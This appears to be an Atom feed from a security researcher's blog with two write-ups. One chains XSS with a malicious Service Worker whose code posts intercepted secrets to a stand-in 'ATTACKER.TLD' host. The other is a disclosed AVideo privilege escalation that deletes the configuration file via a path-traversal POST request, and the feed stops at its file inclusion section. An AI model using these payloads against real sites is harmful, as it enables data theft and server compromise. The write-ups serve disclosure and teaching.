<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://alsultani.me/feed.xml" rel="self" type="application/atom+xml" /><link href="https://alsultani.me/" rel="alternate" type="text/html" /><updated>2025-05-05T12:26:34+00:00</updated><id>https://alsultani.me/feed.xml</id><title type="html">Abdullah Al-Sultani</title><subtitle>Abdullah Al-Sultani&apos;s blog about security and tech!</subtitle><entry><title type="html">Leak HTTP Requests through Service Worker and XSS</title><link href="https://alsultani.me/2025/02/10/leak-http-requests-through-service-worker-and-xss.html" rel="alternate" type="text/html" title="Leak HTTP Requests through Service Worker and XSS" /><published>2025-02-10T12:00:00+00:00</published><updated>2025-02-10T12:00:00+00:00</updated><id>https://alsultani.me/2025/02/10/leak-http-requests-through-service-worker-and-xss</id><content type="html" xml:base="https://alsultani.me/2025/02/10/leak-http-requests-through-service-worker-and-xss.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Hello everyone,</p>

<p>It has been a while since my last post, five years to be exact. And I finally had some free time to share this write-up about an exploitation technique involving <strong>Service Workers and XSS</strong>. I discovered this issue a few years ago while doing some freelance pentesting work. While I no longer have access to the application, I will try to replicate the setup as closely as possible from memory.</p>

<h2 id="the-target">The Target</h2>

<p><a href="/images/sw+xss.png"><img src="/images/sw+xss.png" alt="SQLI" /></a></p>

<p>While working on a project, I found a <strong>secret-sharing service</strong> that worked as follows: it accepted a string input and generated a URL where the string could be accessed. Once accessed, the string would be removed from the server, and subsequent visits to the link would return:</p>

<blockquote>
  <p>“Content not found or already accessed.”</p>
</blockquote>

<p>For example, submitting the text <code class="language-plaintext highlighter-rouge">Test</code> resulted in the following HTTP request:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/submit</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br, zstd</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">18</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">vict.im</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://vict.im</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://vict.im/</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">empty</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">cors</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36</span>
<span class="na">sec-ch-ua</span><span class="p">:</span> <span class="s">"Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"</span>
<span class="na">sec-ch-ua-mobile</span><span class="p">:</span> <span class="s">?0</span>
<span class="na">sec-ch-ua-platform</span><span class="p">:</span> <span class="s">"Windows"</span>

<span class="p">{</span><span class="nl">"content"</span><span class="p">:</span><span class="s2">"Test"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Upon submission, I received a link such as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://vict.im/049034d00db33de4e58ea5c7e1e6bf5e
</code></pre></div></div>

<p>When I visited the link, it returned the string <code class="language-plaintext highlighter-rouge">Test</code> with the <code class="language-plaintext highlighter-rouge">Content-Type: text/plain</code>. However, when I submitted <strong>HTML code</strong> in the content field, something interesting happened:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/submit</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br, zstd</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">18</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">vict.im</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">https://vict.im</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">https://vict.im/</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">empty</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">cors</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36</span>
<span class="na">sec-ch-ua</span><span class="p">:</span> <span class="s">"Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"</span>
<span class="na">sec-ch-ua-mobile</span><span class="p">:</span> <span class="s">?0</span>
<span class="na">sec-ch-ua-platform</span><span class="p">:</span> <span class="s">"Windows"</span>

<span class="p">{</span><span class="nl">"content"</span><span class="p">:</span><span class="s2">"&lt;html&gt;&lt;body&gt;&lt;h1&gt;Test&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="unexpected-response">Unexpected Response:</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">Express</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">47</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">W/"2f-23LlZ+e8azLWAnCO7KBmVGimMyc"</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Mon, 10 Feb 2025 19:34:37 GMT</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Keep-Alive</span><span class="p">:</span> <span class="s">timeout=5</span>

<span class="nt">&lt;html&gt;&lt;body&gt;&lt;h1&gt;</span>Test<span class="nt">&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;</span>
</code></pre></div></div>

<p>Since the response had <code class="language-plaintext highlighter-rouge">Content-Type: text/html</code>, I was able to inject JavaScript code that executed successfully. Additionally, when I uploaded a <code class="language-plaintext highlighter-rouge">.js</code> file content, the response header was set to <code class="language-plaintext highlighter-rouge">Content-Type: text/javascript</code>.</p>

<h2 id="the-exploit">The Exploit</h2>

<p>By registering a <strong>malicious Service Worker</strong> , I could intercept requests made to the <code class="language-plaintext highlighter-rouge">/submit</code> endpoint and exfiltrate data before forwarding the request.</p>

<p><code class="language-plaintext highlighter-rouge">https://ATTACKER.TLD/capture</code> will receive any request to the endpoint <code class="language-plaintext highlighter-rouge">/submit</code>.</p>

<h3 id="malicious-service-worker-code">Malicious Service Worker Code:</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">self</span><span class="p">.</span><span class="nf">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">fetch</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">URL</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
    <span class="k">if </span><span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">pathname</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">/submit</span><span class="dl">'</span> <span class="o">&amp;&amp;</span> <span class="nx">event</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">method</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">event</span><span class="p">.</span><span class="nf">respondWith</span><span class="p">(</span><span class="nf">forwardAndContinue</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">request</span><span class="p">));</span>
    <span class="p">}</span>
<span class="p">});</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nf">forwardAndContinue</span><span class="p">(</span><span class="nx">request</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">clonedRequest</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nf">clone</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">requestData</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">clonedRequest</span><span class="p">.</span><span class="nf">json</span><span class="p">();</span>
    
    <span class="c1">// Forward intercepted request data to attacker's server</span>
    <span class="nf">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://ATTACKER.TLD/capture</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span> <span class="p">},</span>
        <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">requestData</span><span class="p">),</span>
    <span class="p">});</span>
    
    <span class="c1">// Continue the original request so the victim remains unaware</span>
    <span class="k">return</span> <span class="nf">fetch</span><span class="p">(</span><span class="nx">request</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Explanation:</strong></p>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">fetch</code> event listener intercepts all outgoing requests.</li>
  <li>If the intercepted request is a <code class="language-plaintext highlighter-rouge">POST</code> request to <code class="language-plaintext highlighter-rouge">/submit</code>, it triggers <code class="language-plaintext highlighter-rouge">forwardAndContinue</code>.</li>
  <li>The function <code class="language-plaintext highlighter-rouge">forwardAndContinue</code>:
    <ol>
      <li>Clones the request to avoid issues when reusing it.</li>
      <li>Extracts the request body (which contains the secret message).</li>
      <li>Sends the extracted data to an attacker’s server (<code class="language-plaintext highlighter-rouge">https://ATTACKER.TLD/capture</code>).</li>
      <li>Forwards the original request to ensure normal functionality, keeping the attack stealthy.</li>
    </ol>
  </li>
</ul>

<h3 id="xss-payload-for-service-worker-injection">XSS Payload for Service Worker Injection:</h3>

<p>After we send the Service Worker code, we will receive a random MD5 filename. We need to add it to the following code:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
  <span class="nt">&lt;script&gt;</span>
    <span class="k">if </span><span class="p">(</span><span class="dl">"</span><span class="s2">serviceWorker</span><span class="dl">"</span> <span class="k">in</span> <span class="nb">navigator</span><span class="p">)</span> <span class="p">{</span>
      <span class="nb">navigator</span><span class="p">.</span><span class="nx">serviceWorker</span><span class="p">.</span><span class="nf">register</span><span class="p">(</span><span class="dl">"</span><span class="s2">/5f7e2e938823aaa7169ffa371f383a85</span><span class="dl">"</span><span class="p">);</span> <span class="c1">// malicious-worker.js</span>
    <span class="p">}</span>
  <span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p><strong>Explanation:</strong></p>

<ul>
  <li>The script checks if Service Workers are supported.</li>
  <li>If they are, it registers the malicious Service Worker file (the attacker-controlled JavaScript file).</li>
  <li>Once executed in the victim’s browser, this persists until manually removed, ensuring <strong>continuous data exfiltration</strong>.</li>
</ul>

<p>After submitting this code, we receive another link for the HTML page. We send this link to the victim. When they open it, the JavaScript executes and registers our <strong>malicious Service Worker</strong> at the root path of the service.</p>

<p>Now, every time the victim uses the service, their <strong>requests get intercepted</strong> and sent to our malicious endpoint before being forwarded.</p>

<h2 id="conclusion">Conclusion</h2>

<p>By chaining <strong>XSS with a malicious Service Worker</strong> , an attacker can achieve <strong>persistent request interception &amp; data exfiltration</strong>. Since Service Workers remain active even after the XSS is removed, this technique can be difficult to detect.</p>

<p><a href="/2025/02/10/leak-http-request-xss-service-worker.html"></a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">AVideo &amp;lt; 8.9 Privilege Escalation and File Inclusion that led to RCE</title><link href="https://alsultani.me/2020/07/03/avideo-89-privilege-escalation-and-file-inclusion-that-led-to-rce.html" rel="alternate" type="text/html" title="AVideo &amp;lt; 8.9 Privilege Escalation and File Inclusion that led to RCE" /><published>2020-07-03T12:00:00+00:00</published><updated>2020-07-03T12:00:00+00:00</updated><id>https://alsultani.me/2020/07/03/avideo-89-privilege-escalation-and-file-inclusion-that-led-to-rce</id><content type="html" xml:base="https://alsultani.me/2020/07/03/avideo-89-privilege-escalation-and-file-inclusion-that-led-to-rce.html"><![CDATA[<p>In this article, we will cover security issues in the <strong>AVideo</strong> open-source project that led to RCE. We contacted the project manager, and the security issues were fixed.</p>

<h2 id="introduction">Introduction</h2>

<h3 id="what-is-avideo-audio-video-platform">What is <strong>AVideo</strong> (Audio Video Platform)?</h3>

<p>AVideo is a term that means absolutely nothing, or anything related to video. The brand is simply identifiable with audio and video. AVideo Platform is an Audio and Video Platform or simply “A Video Platform”.</p>

<p>The project is written in PHP and has more than 1k stars on GitHub and over 4k live websites. We conducted a pentest for a client using AVideo in a live production environment.</p>

<p><a href="/images/av-1.png"><img src="/images/av-1.png" alt="" /></a></p>

<p>The project is intriguing with many functions and files, so we started working on the platform to create a threat model.</p>

<h2 id="technical-details">Technical Details</h2>

<p>After examining the project internals, we took a few notes that included:</p>

<ul>
  <li>There are two roles in the system: Admin and User.</li>
  <li>The permissions check depends on the <code class="language-plaintext highlighter-rouge">User::isAdmin()</code> method.</li>
  <li>The system is vulnerable to XSS and CSRF.</li>
  <li>The admin user can upload PHP files!</li>
  <li>There are weak spots in some areas.</li>
</ul>

<h3 id="privilege-escalation">Privilege Escalation</h3>

<p>During the source code review phase, we found a lot of interesting endpoints. After taking a deep look into the source code, we found an interesting file (<code class="language-plaintext highlighter-rouge">objects/import.json.php</code>):</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="k">global</span> <span class="nv">$global</span><span class="p">,</span> <span class="nv">$config</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$global</span><span class="p">[</span><span class="s1">'systemRootPath'</span><span class="p">])){</span>
    <span class="k">require_once</span> <span class="s1">'../videos/configuration.php'</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type: application/json'</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nc">User</span><span class="o">::</span><span class="nf">canUpload</span><span class="p">()</span> <span class="o">||</span> <span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$advancedCustom</span><span class="o">-&gt;</span><span class="n">doNotShowImportMP4Button</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>

<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">stdClass</span><span class="p">();</span>

<span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">error</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>

<span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span> <span class="o">=</span> <span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'fileURI'</span><span class="p">]);</span>

<span class="c1">//get description</span>
<span class="nv">$filename</span> <span class="o">=</span> <span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'dirname'</span><span class="p">]</span><span class="mf">.</span><span class="no">DIRECTORY_SEPARATOR</span><span class="mf">.</span><span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">];</span>
<span class="nv">$extensions</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">'txt'</span><span class="p">,</span> <span class="s1">'html'</span><span class="p">,</span> <span class="s1">'htm'</span><span class="p">);</span>

<span class="nv">$length</span> <span class="o">=</span> <span class="nb">intval</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'length'</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$length</span><span class="p">)</span> <span class="o">||</span> <span class="nv">$length</span><span class="o">&gt;</span><span class="mi">100</span><span class="p">){</span>
    <span class="nv">$length</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$extensions</span> <span class="k">as</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'description'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">""</span><span class="p">;</span>
    <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">""</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$filename</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="nv">$value</span><span class="si">}</span><span class="s2">"</span><span class="p">)){</span>
        <span class="nv">$html</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$filename</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="nv">$value</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
        <span class="nv">$breaks</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s2">"&lt;br /&gt;"</span><span class="p">,</span><span class="s2">"&lt;br&gt;"</span><span class="p">,</span><span class="s2">"&lt;br/&gt;"</span><span class="p">);</span>  
        <span class="nv">$html</span> <span class="o">=</span> <span class="nb">str_ireplace</span><span class="p">(</span><span class="nv">$breaks</span><span class="p">,</span> <span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">,</span> <span class="nv">$html</span><span class="p">);</span>
        <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'description'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$html</span><span class="p">;</span>
        <span class="nv">$cleanHTML</span> <span class="o">=</span> <span class="nb">strip_tags</span><span class="p">(</span><span class="nv">$html</span><span class="p">);</span>
        <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$cleanHTML</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nv">$length</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
<span class="nv">$tmpDir</span> <span class="o">=</span> <span class="nb">sys_get_temp_dir</span><span class="p">();</span>
<span class="nv">$tmpFileName</span> <span class="o">=</span> <span class="nv">$tmpDir</span><span class="mf">.</span><span class="no">DIRECTORY_SEPARATOR</span><span class="mf">.</span><span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">];</span>
<span class="nv">$source</span> <span class="o">=</span> <span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'dirname'</span><span class="p">]</span><span class="mf">.</span><span class="no">DIRECTORY_SEPARATOR</span><span class="mf">.</span><span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'basename'</span><span class="p">];</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">copy</span><span class="p">(</span><span class="nv">$source</span><span class="p">,</span> <span class="nv">$tmpFileName</span><span class="p">))</span> <span class="p">{</span>
    <span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">msg</span> <span class="o">=</span> <span class="s2">"failed to copy </span><span class="nv">$filename</span><span class="s2">...</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
    <span class="k">die</span><span class="p">(</span><span class="nb">json_encode</span><span class="p">(</span><span class="nv">$obj</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'delete'</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'delete'</span><span class="p">]</span><span class="o">!==</span><span class="s1">'false'</span><span class="p">){</span>
    <span class="k">if</span><span class="p">(</span><span class="nb">is_writable</span><span class="p">(</span><span class="nv">$source</span><span class="p">)){</span>
        <span class="nb">unlink</span><span class="p">(</span><span class="nv">$source</span><span class="p">);</span>
        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$extensions</span> <span class="k">as</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$filename</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="nv">$value</span><span class="si">}</span><span class="s2">"</span><span class="p">)){</span>
                <span class="nb">unlink</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$filename</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="nv">$value</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span><span class="k">else</span><span class="p">{</span>
        <span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">msg</span> <span class="o">=</span> <span class="s2">"Could not delete </span><span class="nv">$source</span><span class="s2">...</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'upl'</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'upl'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'basename'</span><span class="p">];</span>
<span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'upl'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$tmpFileName</span><span class="p">;</span>
<span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'upl'</span><span class="p">][</span><span class="s1">'type'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"video/mp4"</span><span class="p">;</span>
<span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'upl'</span><span class="p">][</span><span class="s1">'size'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">filesize</span><span class="p">(</span><span class="nv">$tmpFileName</span><span class="p">);</span>

<span class="k">require_once</span> <span class="nv">$global</span><span class="p">[</span><span class="s1">'systemRootPath'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'view/mini-upload-form/upload.php'</span><span class="p">;</span>

<span class="k">echo</span> <span class="nb">json_encode</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
</code></pre></div></div>

<p>As you can see, the check is being done with the following code:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nc">User</span><span class="o">::</span><span class="nf">canUpload</span><span class="p">()</span> <span class="o">||</span> <span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$advancedCustom</span><span class="o">-&gt;</span><span class="n">doNotShowImportMP4Button</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If the user can upload video and <code class="language-plaintext highlighter-rouge">doNotShowImportMP4Button</code> is disabled, we can proceed to the next lines.</p>

<p>The vulnerable line is the following at line <strong>51</strong> :</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nb">unlink</span><span class="p">(</span><span class="nv">$source</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="why">Why?</h3>

<p>The <code class="language-plaintext highlighter-rouge">unlink</code> function is designed to delete files, and AVideo provides a way to reset the web application by deleting the config file at <code class="language-plaintext highlighter-rouge">/videos/configuration.php</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">$source</code> variable is the file path that has been aggregated at line <strong>42</strong> :</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$source</span> <span class="o">=</span> <span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'dirname'</span><span class="p">]</span><span class="mf">.</span><span class="no">DIRECTORY_SEPARATOR</span><span class="mf">.</span><span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span><span class="p">[</span><span class="s1">'basename'</span><span class="p">];</span> <span class="c1">// source = dir + filename</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">fileURI</code> is an array that has been assigned at line <strong>16</strong> :</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$obj</span><span class="o">-&gt;</span><span class="n">fileURI</span> <span class="o">=</span> <span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'fileURI'</span><span class="p">]);</span> <span class="c1">// fileURI=../video/configuration.php</span>
</code></pre></div></div>

<p>So, to delete the config file, we have to send a POST request to the <code class="language-plaintext highlighter-rouge">import.json.php</code> file. We must include a value for <code class="language-plaintext highlighter-rouge">$_POST['delete']</code> to access the code block of the vulnerable line.</p>

<p>There are 2 scenarios to exploit this issue to escalate the user’s privilege:</p>

<ol>
  <li>User with upload permission while the <code class="language-plaintext highlighter-rouge">doNotShowImportMP4Button</code> option is disabled.</li>
  <li>Admin user with disabled dangerous functions (like uploading PHP files) in case of <code class="language-plaintext highlighter-rouge">$global['disableAdvancedConfigurations'] = 1;</code> It is like safe mode where the admin can do nothing harmful to the server.</li>
</ol>

<p><a href="/images/av-2.png"><img src="/images/av-2.png" alt="" /></a></p>

<p>As a result, we created a user with upload permission and disabled the <code class="language-plaintext highlighter-rouge">doNotShowImportMP4Button</code>. We sent the following request using Burp Suite:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/avideo/objects/import.json.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">127.0.0.1</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">max-age=0</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">navigate</span>
<span class="na">Sec-Fetch-User</span><span class="p">:</span> <span class="s">?1</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">document</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">http127001avideo=6t52ec7dsiojanu6feim3bg8ml;</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">44</span>

delete=1&amp;fileURI=../videos/configuration.php
</code></pre></div></div>

<p>After sending the request, the file was deleted, and we got redirected to the install page!</p>

<p><a href="/images/av-3.png"><img src="/images/av-3.png" alt="" /></a></p>

<p>We filed a bug, but there is more!</p>

<h3 id="file-inclusion">File Inclusion</h3>

<p>If you were able to reproduce the previous vulnerability, there are two points you should consider:</p>

<ol>
  <li>What if MySQL credentials are not the default?</li>
  <li>What if you can’t initiate a remote SQL connection?</li>
</ol>

<p>Under those circumstances, we need to find the current database credentials. And that’s what we did!</p>

